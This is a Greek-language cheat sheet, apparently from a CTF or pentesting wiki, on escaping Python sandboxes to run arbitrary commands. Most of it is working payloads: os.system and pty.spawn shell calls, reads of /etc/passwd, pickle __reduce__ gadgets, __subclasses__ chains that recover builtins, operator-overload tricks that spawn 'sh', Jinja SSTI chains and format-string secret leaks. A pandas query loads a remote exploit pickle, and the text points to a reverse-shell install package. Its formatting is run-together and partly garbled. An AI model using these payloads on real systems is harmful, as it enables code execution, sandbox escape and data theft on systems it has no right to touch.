Αυτά είναι μερικά κόλπα για την παράκαμψη των προστασιών αμμοθολογίων Python και την εκτέλεση αυθαίρετων εντολών.
Βιβλιοθήκες Εκτέλεσης Εντολών
Το πρώτο πράγμα που πρέπει να γνωρίζετε είναι αν μπορείτε να εκτελέσετε κώδικα απευθείας με κάποια ήδη εισαγμένη βιβλιοθήκη, ή αν μπορείτε να εισάγετε οποιαδήποτε από αυτές τις βιβλιοθήκες:
os.system("ls")os.popen("ls").read()commands.getstatusoutput("ls")commands.getoutput("ls")commands.getstatus("file/path")subprocess.call("ls", shell=True)subprocess.Popen("ls", shell=True)pty.spawn("ls")pty.spawn("/bin/bash")platform.os.system("ls")pdb.os.system("ls")#Import functions to execute commandsimportlib.import_module("os").system("ls")importlib.__import__("os").system("ls")imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")imp.os.system("ls")imp.sys.modules["os"].system("ls")sys.modules["os"].system("ls")__import__("os").system("ls")import osfrom os import*#Other interesting functionsopen("/etc/passwd").read()open('/var/www/html/input', 'w').write('123')#In Python2.7execfile('/usr/lib/python2.7/os.py')system('ls')
Να θυμάστε ότι οι συναρτήσεις open και read μπορούν να είναι χρήσιμες για το διάβασμα αρχείων μέσα στο python sandbox και για το γράψιμο κώδικα που θα μπορούσατε να εκτελέσετε για να παρακάμψετε το sandbox.
Η συνάρτηση Python2 input() επιτρέπει την εκτέλεση κώδικα Python πριν το πρόγραμμα καταρρεύσει.
Το Python προσπαθεί να φορτώσει βιβλιοθήκες από τον τρέχοντα κατάλογο πρώτα (η παρακάτω εντολή θα εκτυπώσει από πού φορτώνει τα modules ο Python): python3 -c 'import sys; print(sys.path)'
Παράκαμψη του pickle sandbox με τα προεγκατεστημένα πακέτα Python
Προεγκατεστημένα πακέτα
Μπορείτε να βρείτε μια λίστα με προεγκατεστημένα πακέτα εδώ: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Σημειώστε ότι από ένα pickle μπορείτε να κάνετε το περιβάλλον Python να εισάγει αυθαίρετες βιβλιοθήκες που είναι εγκατεστημένες στο σύστημα.
Για παράδειγμα, το ακόλουθο pickle, όταν φορτωθεί, θα εισάγει τη βιβλιοθήκη pip για να τη χρησιμοποιήσει:
#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
Μπορείτε να κατεβάσετε το πακέτο για τη δημιουργία αντίστροφου κελύφους εδώ. Παρακαλώ, σημειώστε ότι πριν το χρησιμοποιήσετε θα πρέπει να το αποσυμπιέσετε, να αλλάξετε το setup.py, και να βάλετε τη διεύθυνση IP σας για το αντίστροφο κελύφωμα:
Αυτό το πακέτο ονομάζεται Reverse. Ωστόσο, δημιουργήθηκε ειδικά έτσι ώστε όταν βγείτε από το αντίστροφο κελύφωμα η υπόλοιπη εγκατάσταση θα αποτύχει, έτσι ώστε να μην αφήσετε κανένα επιπλέον πακέτο Python εγκατεστημένο στον διακομιστή όταν φύγετε.
Αξιολόγηση κώδικα Python
Σημειώστε ότι το exec επιτρέπει πολλαπλές συμβολοσειρές και ";", αλλά το eval όχι (ελέγξτε τον τελεστή walrus)
Αν απαγορεύονται συγκεκριμένοι χαρακτήρες, μπορείτε να χρησιμοποιήσετε την αναπαράσταση hex/octal/B64 για να παρακάμψετε τον περιορισμό:
exec("print('RCE'); __import__('os').system('ls')")#Using ";"exec("print('RCE')\n__import__('os').system('ls')")#Using "\n"eval("__import__('os').system('ls')")#Eval doesn't allow ";"eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))#This way eval accept ";"__import__('timeit').timeit("__import__('os').system('ls')",number=1)#One liners that allow new lines and tabseval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
Άλλες βιβλιοθήκες που επιτρέπουν την αξιολόγηση κώδικα Python
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
Τελεστές και σύντομα κόλπα
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
Παράκαμψη προστασιών μέσω κωδικοποιήσεων (UTF-7)
Στο συγκεκριμένο άρθρο χρησιμοποιείται το UTF-7 για τη φόρτωση και εκτέλεση αυθαίρετου κώδικα Python μέσα σε ένα φαινομενικό χώρο ασφαλείας:
Είναι επίσης δυνατό να το παρακάμψετε χρησιμοποιώντας άλλες κωδικοποιήσεις, π.χ. raw_unicode_escape και unicode_escape.
Εκτέλεση Python χωρίς κλήσεις
Αν βρίσκεστε μέσα σε ένα φυλακισμένο περιβάλλον Python που δεν σάς επιτρέπει να κάνετε κλήσεις, υπάρχουν ακόμα κάποιοι τρόποι για να εκτελέσετε αυθαίρετες λειτουργίες, κώδικα και εντολές.
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
RCE δημιουργώντας αντικείμενα και υπερφόρτωση
Αν μπορείτε να δηλώσετε μια κλάση και να δημιουργήσετε ένα αντικείμενο από αυτή την κλάση, μπορείτε να γράψετε/υπερφορτώσετε διαφορετικές μεθόδους που μπορούν να ενεργοποιηθούνχωρίς την ανάγκη να κληθούν απευθείας.
RCE με προσαρμοσμένες κλάσεις
Μπορείτε να τροποποιήσετε μερικές μεθόδους κλάσης (με την υπερφόρτωση υπαρχουσών μεθόδων κλάσης ή δημιουργώντας μια νέα κλάση) για να τις κάνετε να εκτελούν αυθαίρετο κώδικα όταν ενεργοποιούνται χωρίς να κληθούν απευθείας.
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self):self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self):self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
Το κύριο πράγμα που μας επιτρέπουν οι μετακλάσεις είναι να δημιουργήσουμε ένα παράδειγμα μιας κλάσης, χωρίς να καλέσουμε τον κατασκευαστή απευθείας, δημιουργώντας μια νέα κλάση με την επιθυμητή κλάση ως μετακλάση.
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
Δημιουργία αντικειμένων με εξαιρέσεις
Όταν ενεργοποιείται μια εξαίρεση, δημιουργείται ένα αντικείμενο της Εξαίρεσης χωρίς να χρειάζεται να καλέσετε τον κατασκευαστή απευθείας (ένα κόλπο από τον @_nag0mez):
classRCE(Exception):def__init__(self):self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k:k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
Περισσότερες RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c):self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially# report an error in ubuntu-provided modules.# Therefore the __import__ functions are overwritten with our RCEclassX():def__init__(self,a,b,c,d,e):self +="print(open('flag').read())"__iadd__=eval__builtins__.__import__ = X{}[1337]
Διαβάστε το αρχείο με τη βοήθεια των builtins & την άδεια χρήσης
__builtins__.__dict__["license"]._Printer__filenames=["flag"]a =__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args: Nonewith (a as b):pass
Εάν μπορείτε να έχετε πρόσβαση στο αντικείμενο __builtins__ μπορείτε να εισάγετε βιβλιοθήκες (σημειώστε ότι θα μπορούσατε επίσης να χρησιμοποιήσετε εδώ και άλλη αναπαράσταση συμβολοσειράς που εμφανίζεται στην τελευταία ενότητα):
Όταν δεν έχετε το __builtins__ δεν θα μπορείτε να εισάγετε τίποτα ούτε να διαβάσετε ή να γράψετε αρχεία καθώς όλες οι γενικές συναρτήσεις (όπως open, import, print...) δεν φορτώνονται.
Ωστόσο, από προεπιλογή το Python εισάγει πολλά modules στη μνήμη. Αυτά τα modules μπορεί να φαίνονται αθώα, αλλά μερικά από αυτά εισάγουν επικίνδυνες λειτουργίες μέσα τους που μπορούν να προσπελαστούν για να επιτευχθεί ακόμα και εκτέλεση αυθαίρετου κώδικα.
Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πως να καταχραστείτε μερικά από αυτά τα "αθώα" modules που φορτώνονται για να έχετε πρόσβαση σε επικίνδυνεςλειτουργίες μέσα σε αυτά.
Python2
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
Πυθών 3
# Obtain builtins from a globally defined function# https://docs.python.org/3/library/functions.htmlhelp.__call__.__builtins__# or __globals__license.__call__.__builtins__# or __globals__credits.__call__.__builtins__# or __globals__print.__self__dir.__self__globals.__self__len.__self____build_class__.__self__# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__']# Get builtins from loaded classes[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
# Recover __builtins__ and make everything easier__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
Ενσωματωμένα φορτία
# Possible payloads once you have found the builtins__builtins__["open"]("/etc/passwd").read()__builtins__["__import__"]("os").system("ls")# There are lots of other payloads that can be abused to execute commands# See them below
Παγκόσμιες και τοπικές μεταβλητές
Ο έλεγχος των globals και locals είναι ένας καλός τρόπος για να γνωρίζετε ποιες μεταβλητές μπορείτε να έχετε πρόσβαση.
Εδώ θέλω να εξηγήσω πώς μπορείτε εύκολα να ανακαλύψετε περισσότερες επικίνδυνες λειτουργίες που φορτώνονται και να προτείνετε πιο αξιόπιστες εκμεταλλεύσεις.
Πρόσβαση σε υποκλάσεις με παρακάμψεις
Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η δυνατότητα να έχετε πρόσβαση στις βασικές υποκλάσεις. Στα προηγούμενα παραδείγματα αυτό επιτεύχθηκε χρησιμοποιώντας ''.__class__.__base__.__subclasses__(), αλλά υπάρχουν άλλοι πιθανοί τρόποι:
#You can access the base from mostly anywhere (in regular conditions)"".__class__.__base__.__subclasses__()[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()(1).__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()print.__class__.__base__.__subclasses__()open.__class__.__base__.__subclasses__()defined_func.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"# You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()# This can be useful in case it is not possible to make calls (therefore using decorators)().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
#If attr is present you can access everything as a string# This is common in Django (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
Εντοπισμός επικίνδυνων βιβλιοθηκών που φορτώνονται
Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη sys είναι δυνατή η εισαγωγή αυθαίρετων βιβλιοθηκών, μπορείτε να αναζητήσετε όλα τα ενότητες που έχουν φορτώσει που έχουν εισάγει το sys μέσα σε αυτές:
Υπάρχουν πολλοί, και χρειαζόμαστε μόνο έναν για να εκτελέσουμε εντολές:
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
Μπορούμε να κάνουμε το ίδιο πράγμα με άλλες βιβλιοθήκες που γνωρίζουμε ότι μπορούν να χρησιμοποιηθούν για εκτέλεση εντολών:
#os[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')#subprocess[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')#builtins[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
Επιπλέον, μπορούμε ακόμα να αναζητήσουμε ποια modules φορτώνουν κακόβουλες βιβλιοθήκες:
Επιπλέον, εάν πιστεύετε ότι άλλες βιβλιοθήκες μπορεί να είναι σε θέση να καλέσουν συναρτήσεις για την εκτέλεση εντολών, μπορούμε επίσης να φιλτράρουμε με βάση τα ονόματα των συναρτήσεων μέσα στις πιθανές βιβλιοθήκες:
Αυτό είναι απλά φοβερό. Αν ψάχνετε για ένα αντικείμενο όπως τα globals, builtins, open ή οτιδήποτε άλλο, απλά χρησιμοποιήστε αυτό το σενάριο για να αναζητήσετε αναδρομικά τα μέρη όπου μπορείτε να βρείτε αυτό το αντικείμενο.
import os, sys # Import these to find more gadgetsSEARCH_FOR ={# Misc"__globals__":set(),"builtins":set(),"__builtins__":set(),"open":set(),# RCE libs"os":set(),"subprocess":set(),"commands":set(),"pty":set(),"importlib":set(),"imp":set(),"sys":set(),"pip":set(),"pdb":set(),# RCE methods"system":set(),"popen":set(),"getstatusoutput":set(),"getoutput":set(),"call":set(),"Popen":set(),"popen":set(),"spawn":set(),"import_module":set(),"__import__":set(),"load_source":set(),"execfile":set(),"execute":set()}#More than 4 is very time consumingMAX_CONT =4#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found#ALREADY_CHECKED = set()defcheck_recursive(element,cont,name,orig_n,orig_i,execute):# If bigger than maximum, stopif cont > MAX_CONT:return# If already checked, stop#if name and name in ALREADY_CHECKED:# return# Add to already checked#if name:# ALREADY_CHECKED.add(name)# If found add to the dictfor k in SEARCH_FOR:if k indir(element)or (type(element)isdictand k in element):SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")# Continue with the recursivityfor new_element indir(element):try:check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)# WARNING: Calling random functions sometimes kills the script# Comment this part if you notice that behaviour!!if execute:try:ifcallable(getattr(element, new_element)):check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)except:passexcept:pass# If in a dict, scan also each key, very importantiftype(element)isdict:for new_element in element:check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)defmain():print("Checking from empty string...")total = [""]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Empty str {i}", True)print()print("Checking loaded subclasses...")total ="".__class__.__base__.__subclasses__()for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Subclass {i}", True)print()print("Checking from global functions...")total = [print, check_recursive]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="")cont =1check_recursive(element, cont, "", str(element), f"Global func {i}", False)print()print(SEARCH_FOR)if__name__=="__main__":main()
Μπορείτε να ελέγξετε την έξοδο αυτού του σεναρίου σε αυτήν τη σελίδα:
Εάν στείλετε μια συμβολοσειρά στο python που θα μορφοποιηθεί, μπορείτε να χρησιμοποιήσετε {} για να έχετε πρόσβαση σε εσωτερικές πληροφορίες του python. Μπορείτε να χρησιμοποιήσετε τα προηγούμενα παραδείγματα για να έχετε πρόσβαση σε globals ή builtins για παράδειγμα.
Ωστόσο, υπάρχει μια περιορισμένη δυνατότητα, μπορείτε μόνο να χρησιμοποιήσετε τα σύμβολα .[], οπότε δεν θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα, μόνο να διαβάσετε πληροφορίες.
Αν γνωρίζετε πώς να εκτελέσετε κώδικα μέσω αυτής της ευπάθειας, επικοινωνήστε μαζί μου.
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/CONFIG ={"KEY":"ASXFYFGK78989"}classPeopleInfo:def__init__(self,fname,lname):self.fname = fnameself.lname = lnamedefget_name_for_avatar(avatar_str,people_obj):return avatar_str.format(people_obj = people_obj)people =PeopleInfo('GEEKS', 'FORGEEKS')st ="{people_obj.__init__.__globals__[CONFIG][KEY]}"get_name_for_avatar(st, people_obj = people)
Σημειώστε πώς μπορείτε να έχετε πρόσβαση σε γνωρίσματα με τον κανονικό τρόπο με ένα τελεία όπως people_obj.__init__ και στοιχεία λεξικού με παρενθέσεις χωρίς εισαγωγικά __globals__[CONFIG]
Επίσης, μπορείτε να χρησιμοποιήσετε το .__dict__ για να απαριθμήσετε στοιχεία ενός αντικειμένου get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)
Κάποια άλλα ενδιαφέροντα χαρακτηριστικά από τις συμβολοσειρές μορφοποίησης είναι η δυνατότητα εκτέλεσης των συναρτήσεωνstr, repr και ascii στο συγκεκριμένο αντικείμενο προσθέτοντας !s, !r, !a αντίστοιχα:
st ="{people_obj.__init__.__globals__[CONFIG][KEY]!a}"get_name_for_avatar(st, people_obj = people)
Επιπλέον, είναι δυνατόν να κωδικοποιήσετε νέους μορφοποιητές σε κλάσεις:
classHAL9000(object):def__format__(self,format):if (format=='open-the-pod-bay-doors'):return"I'm afraid I can't do that."return'HAL 9000''{:open-the-pod-bay-doors}'.format(HAL9000())#I'm afraid I can't do that.
Περισσότερα παραδείγματα σχετικά με παραδείγματα μορφοποίησης μπορούν να βρεθούν στο https://pyformat.info/
Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα διαβάσουν ευαίσθητες πληροφορίες από εσωτερικά αντικείμενα της Python:
{whoami.__class__.__dict__}{whoami.__globals__[os].__dict__}{whoami.__globals__[os].environ}{whoami.__globals__[sys].path}{whoami.__globals__[sys].modules}# Access an element through several links{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
Σε ορισμένα CTFs μπορεί να σας δίνεται το όνομα μιας προσαρμοσμένης συνάρτησης όπου βρίσκεται η σημαία και χρειάζεται να δείτε τα εσωτερικά της συνάρτησης για να την εξάγετε.
dir()#General dir() to find what we have loaded['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag)#Get info tof the function['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
globals
__globals__ και func_globals(Ίδιο) Αποκτά το παγκόσμιο περιβάλλον. Στο παράδειγμα μπορείτε να δείτε μερικά εισαγμένα modules, μερικές παγκόσμιες μεταβλητές και το περιεχόμενό τους που δηλώνονται:
get_flag.func_globalsget_flag.__globals__{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable valueCustomClassObject.__class__.__init__.__globals__
__code__ και func_code: Μπορείτε να έχετε πρόσβαση σε αυτό το χαρακτηριστικό της συνάρτησης για να αποκτήσετε το αντικείμενο κώδικα της συνάρτησης.
# In our current exampleget_flag.__code__<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1# Compiling some python codecompile("print(5)", "", "single")<code object<module> at 0x7f9ca01330c0, file "", line 1>#Get the attributes of the code objectdir(get_flag.__code__)['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
Λήψη Πληροφοριών Κώδικα
# Another examples ='''a = 5b = 'text'def f(x):return xf(5)'''c=compile(s, "", "exec")# __doc__: Get the description of the function, if anyprint.__doc__# co_consts: Constantsget_flag.__code__.co_consts(None,1,'secretcode','some','array','THIS-IS-THE-FALG!','Nope')c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.(5,'text',<code object f at 0x7f9ca0133540, file "", line 4>,'f',None# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names()c.co_names('a','b','f')#co_varnames: Local names used by the bytecode (arguments first, then the local variables)get_flag.__code__.co_varnames('some_input','var1','var2','var3')#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.get_flag.__code__.co_cellvars()#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.get_flag.__code__.co_freevars()#Get bytecodeget_flag.__code__.co_code'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
Σημείωσε ότι αν δεν μπορείς να εισάγεις το dis στο περιβάλλον Python, μπορείς να αποκτήσεις το bytecode της συνάρτησης (get_flag.func_code.co_code) και να το αποσυναρμολογήσεις τοπικά. Δεν θα δεις το περιεχόμενο των μεταβλητών που φορτώνονται (LOAD_CONST) αλλά μπορείς να τις μαντέψεις από το (get_flag.func_code.co_consts) επειδή το LOAD_CONST δείχνει επίσης τη θέση της μεταβλητής που φορτώνεται.
Τώρα, ας φανταστούμε ότι μπορείτε να ανακτήσετε τις πληροφορίες για μια συνάρτηση που δεν μπορείτε να εκτελέσετε αλλά χρειάζεστε να την εκτελέσετε.
Όπως στο παρακάτω παράδειγμα, μπορείτε να έχετε πρόσβαση στο αντικείμενο κώδικα αυτής της συνάρτησης, αλλά απλά διαβάζοντας την αποσυναρμολόγηση δεν ξέρετε πώς να υπολογίσετε τη σημαία (φανταστείτε μια πιο πολύπλοκη συνάρτηση calc_flag)
defget_flag(some_input):var1=1var2="secretcode"var3=["some","array"]defcalc_flag(flag_rot2):return''.join(chr(ord(c)-2) for c in flag_rot2)if some_input == var2:returncalc_flag("VjkuKuVjgHnci")else:return"Nope"
Δημιουργία του αντικειμένου κώδικα
Καταρχάς, πρέπει να ξέρουμε πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας leaked:
